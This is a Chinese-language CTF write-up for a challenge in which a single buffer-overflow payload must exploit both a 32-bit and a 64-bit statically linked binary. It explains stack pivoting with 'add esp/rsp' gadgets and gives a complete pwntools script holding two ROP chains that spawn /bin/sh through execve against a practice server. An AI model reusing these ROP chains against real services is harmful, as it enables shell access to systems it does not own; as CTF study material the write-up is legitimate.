给了两个二进制文件,我还以为是不同题目,查了资料才知道这是拟态题目,简单来说就是一个payload要打通两个文件
32位的文件
64位
两个文件都是静态链接的不是动态链接的,如果单个来说,直接ropchain搞定好吧
但是呢这里不行32位与64位函数调用了完全不一样怎么能打通呢?
好在64位程序这里多了0x8的溢出,这个溢出就能解决很多问题
我们只要控制程序的esp与rsp就能使两个程序按我们想要的来

只要合理布局就行。
但是还有个问题,payload不能太长,所以我们要进行修剪![NS4]KV3~S0L4W%47IY{PC7W.png](/uploads/projects/yizhixiaoaniu@fkl773/1fbf40e9c27ba50f7bec60556c947cac.png)
这就是eax加了0xb只要变成pop eax ,0xb
两个程序怎么判断还有个条件就是输出是否一样,因为最后有puts函数所以我们要在合适的地方加上”\x00”进行截断
#coding=utf8from pwn import *from LibcSearcher import*from struct import packcontext.log_level = 'debug'#context.arch='amd64'io = process("./pwn")io = remote("node4.buuoj.cn",28741)def load():p = ""p += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9060) # @ .datap += pack('<I', 0x080a8af6) # pop eax ; retp += '/bin'p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9064) # @ .data + 4p += pack('<I', 0x080a8af6) # pop eax ; retp += '//sh'p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x08056040) # xor eax, eax ; retp += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080d9060) # @ .datap += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x080d9060) # padding without overwrite ebxp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x08056040) # xor eax, eax ; retp += pack('<I', 0x080a8af6) #pop eax ;retp += p32(0xb)p += pack('<I', 0x080495a3) # int 0x80return ppayload32 = load()def load64():p = ''p += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e0) # @ .datap += pack('<Q', 0x000000000043b97c) # pop rax ; retp += '/bin//sh'p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; retp += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x00000000004005f6) # pop rdi ; retp += pack('<Q', 0x00000000006a10e0) # @ .datap += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x000000000043b9d5) # pop rdx ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; retp += pack("<Q", 0x000000000043b97c) # pop rax ;retp +=p64(0x3b)p += pack('<Q', 0x00000000004011dc) # syscallreturn ppayload64 = load64()gadget32 = 0x080a8f69 #add esp, 0xc ; retgadget64 = 0x00000000004079d4 #add rsp, 0xd8 ; retpayload = b"aaa".ljust(272,b"\x00") + p64(gadget32)+p64(gadget64)+payload32.ljust(0xd8,b"\x00")+payload64io.sendline(payload)io.interactive()
